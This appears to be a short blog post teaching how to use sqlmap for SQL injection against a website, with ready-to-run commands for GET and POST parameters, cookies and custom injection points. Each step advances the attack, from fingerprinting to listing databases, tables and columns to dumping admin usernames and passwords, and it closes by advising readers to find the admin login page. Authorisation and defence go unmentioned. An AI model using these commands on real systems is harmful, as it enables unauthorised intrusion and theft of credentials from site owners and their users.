how to use sqlmap on GET method
- fingerprinting
first you must have a vulnerable website for the target, if you was have a target now open sqlmap and type this command
./sqlmap.py -u "http://www.target.com/index.php?id=2"sqlmap will detect vulnerable of your target and will tell you what the type of vulnerable and what is the database type. and if your target vulnerable go to next step.
- find database name
type this command to find database name./sqlmap.py -u "http://www.target.com/index.php?id=2" --dbson this step, sqlmap will find the database name of your target, for example I use "web_db" for the database name.
- find tables name
after sqlmap find the databse name its time to find the tables name. use this command to find the table name./sqlmap.py -u "http://www.target.com/index.php?id=2" -D web_db --tablesthere will show you some tables name inside "web_db" database, ok for example I use "tbl_admin" as the tables name.
- find columns name
its time to find what inside "tbl_admin" from "web_db" and we call it columns. to find columns type this command./sqlmap.py -u "http://www.target.com/index.php?id=2" -D web_db -T tbl_admin --columnsit will show you the list of columns name, for example I find "user" and "password" columns.
- dump
this command will dumped data from the columns, type this command./sqlmap.py -u "http://www.target.com/index.php?id=2" -D web_db -T tbl_admin -C user,password --dumpand I find "user = admin" and "password = adminpass". now go to the web and find the admin login.
how to use sqlmap on POST method
- fingerprinting
its same way with GET method, just type this command./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login"
- find database name
./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" --dbs
- find tables name
./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" -D web_db --tables
- find columns name
./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" -D web_db -T tbl_admin --columns
- dump
./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" -D web_db -T tbl_admin -C user,password --dump
include cookie
./sqlmap.py -u "http://www.target.com/index.php?id=2" --cookie="PHPSESSID=123asdqwe456blabla;user=admin"or
./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" --cookie="PHPSESSID=123asdqwe456blabla;user=admin"
custom parameter
./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=password&submit=login" --cookie="PHPSESSID=123asdqwe456blabla;user=admin" -p "pwd"sqlmap will inject "pwd" parameter. or you can give star"*" to the parameter to inject, like this
./sqlmap.py -u "http://www.target.com/login.php" --data="id=admin&pwd=*password&submit=login" --cookie="PHPSESSID=123asdqwe456blabla;user=admin"
No comments:
Post a Comment